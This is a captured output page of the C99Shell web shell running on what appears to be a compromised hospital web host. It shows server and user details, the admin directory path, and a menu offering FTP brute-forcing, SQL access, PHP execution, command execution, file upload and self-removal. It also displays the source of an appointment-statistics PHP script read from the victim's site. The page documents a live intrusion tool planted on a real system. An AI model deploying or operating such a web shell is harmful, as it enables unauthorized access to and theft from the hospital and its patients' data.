!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/   drwxr-xr-x
Free 984.22 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     chart-script.php (1.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('conn.php');

// Query to count rejected appointments
$rejectedQuery "SELECT COUNT(*) AS numRejected FROM appointments WHERE status = 'Rejected'";
$resultRejected mysqli_query($con$rejectedQuery);
$rowRejected mysqli_fetch_assoc($resultRejected);
$numRejected $rowRejected['numRejected'];

// Query to count pending appointments
$pendingQuery "SELECT COUNT(*) AS numPending FROM appointments WHERE status = 'Pending'";
$resultPending mysqli_query($con$pendingQuery);
$rowPending mysqli_fetch_assoc($resultPending);
$numPending $rowPending['numPending'];

// Query to count approved appointments
$approvedQuery "SELECT COUNT(*) AS numApproved FROM appointments WHERE status = 'Approved'";
$resultApproved mysqli_query($con$approvedQuery);
$rowApproved mysqli_fetch_assoc($resultApproved);
$numApproved $rowApproved['numApproved'];

// Store count values in an associative array
$countData = array(
    
'numRejected' => $numRejected,
    
'numPending' => $numPending,
    
'numApproved' => $numApproved
  
);
  
  
// Send count values as JSON response
  
header('Content-Type: application/json');
  echo 
json_encode($countData);
  
// Close the database connection
mysqli_close($con);
?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0038 ]--